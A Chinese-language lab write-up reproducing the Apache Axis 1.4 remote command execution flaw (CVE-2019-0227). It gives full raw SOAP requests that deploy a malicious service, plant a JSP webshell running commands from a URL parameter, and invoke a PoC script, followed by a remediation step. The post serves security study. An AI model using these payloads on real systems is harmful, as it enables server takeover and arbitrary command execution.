Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图1

    一、漏洞介绍
    **
    漏洞本质是管理员对AdminService的配置错误。当enableRemoteAdmin属性设置为true时,攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,就可以进行远程命令执行漏洞的利用。

    二、影响版本
    **
    Axis <=1.4

    三、环境准备
    方法一:
    https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
    下载的axis-bin-1_4.tar.gz压缩包中的webapps目录下的axis目录拷贝到tomcat的webapps目录下
    https://mvnrepository.com/search?q=freemarker-2.3.28.jar
    下载的freemarker-2.3.28.jar放在axis/WEB-INF/lib目录下
    启动tomcat后访问http://localhost:8080/axis
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图2
    这个需要WEB-INF/web.xml 去掉AdminServlet注释(这个只能本地复现)
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图3
    如果需要远程访问复现需要开启服务访问一下,会在WEB-INF下面生成一个server-config.wsdd
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图4
    需要将文件修改enableRemoteAdmin将false改为true
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图5
    这样允许远程admin服务
    最后重启tomcat,这个很关键。
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图6

    方法二:
    本次已经将环境打包(后台回复”axis”获取环境和POC)
    下载下下来的环境包,上面要求环境都配置好了。
    直接解压放在tomcat/webapps下面,启动tomcat访问http://localhost:8080/axis
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图7

    四、漏洞复现
    **
    方法一、手工写入shell
    通过services/AdminService 服务部署一个webservice ,webservice开启一个写文件服务。写入的文件路径是../webapps/ROOT/shell.jsp,服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,我们默认IP+port访问的就是ROOT目录,也就是tomcat默认根目录。
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图8
    原始数据包

    1. POST /axis/services/AdminService HTTP/1.1Host: 192.168.0.104:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36SOAPAction: somethingUpgrade-Insecure-Requests: 1Content-Type: application/xmlAccept-Encoding: gzip, deflateContent-Length: 1061<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="RandomService" provider="java:RPC"> <requestFlow> <handler type="RandomLog"/> </requestFlow> <ns1:parameter name="className" value="java.util.Random"/> <ns1:parameter name="allowedMethods" value="*"/> </ns1:service> <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" > <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" /> <parameter name="LogHandler.writeToConsole" value="false" /> </handler></ns1:deployment> </soapenv:Body></soapenv:Envelope>

    注意写入shell位置,也可以修改比如manager,建议在ROOT下来。

    调用上一步创建的恶意webservice 写入webshell
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图9
    原始数据包

    1. POST /axis/services/RandomService HTTP/1.1Host: 192.168.0.104:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36Accept-Language: en-US,en;q=0.5SOAPAction: somethingUpgrade-Insecure-Requests: 1Content-Type: application/xmlAccept-Encoding: gzip, deflateContent-Length: 876<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:main soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <api:in0><![CDATA[<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>]]> </api:in0> </api:main> </soapenv:Body></soapenv:Envelope>

    返回时500没关系,我们查看一下ROOT下面是否写入shell文件
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图10
    ROOT目录下shell文件,有一些Java的类异常报错,因为是log模式。
    核心还是写的CMD码
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图11
    接下来访问一下shell
    http://192.168.0.104:8080/shell.jsp
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图12
    执行一下命令
    http://192.168.0.104:8080/shell.jsp?c=ifconfig可以获取系统的信息但是看起来不怎么直观
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图13
    检查代码
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图14
    这么清晰查看网络信息

    方法二、poc脚本写入shell

    python Axis1.4_rce_poc.py http://192.168.0.104:8080/axis/
    

    执行成功
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图15
    访问shell路径:http://192.168.0.104:8080/axis/../shell.jsp
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图16
    因为第二次写了一次,这个是在第一次的基础上追加内容。
    http://192.168.0.104:8080/shell.jsp?c=id
    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图17
    成功执行

    五、漏洞修复
    关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.

    <servlet-mapping>    <servlet-name>AdminServlet</servlet-name>    <url-pattern>/servlet/AdminServlet</url-pattern>  </servlet-mapping>
    

    参考:
    https://www.secpulse.com/archives/108937.html
    https://github.com/cwkiller/Axis-1.4-RCE-Poc

    后台回复”axis”获取环境和POC

    免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

    订阅查看更多复现文章、学习笔记
    thelostworld
    安全路上,与你并肩前行!!!!

    Axis1.4 远程命令执行(CVE-2019-0227)复现 - 图18
    个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
    个人简书:https://www.jianshu.com/u/bf0e38a8d400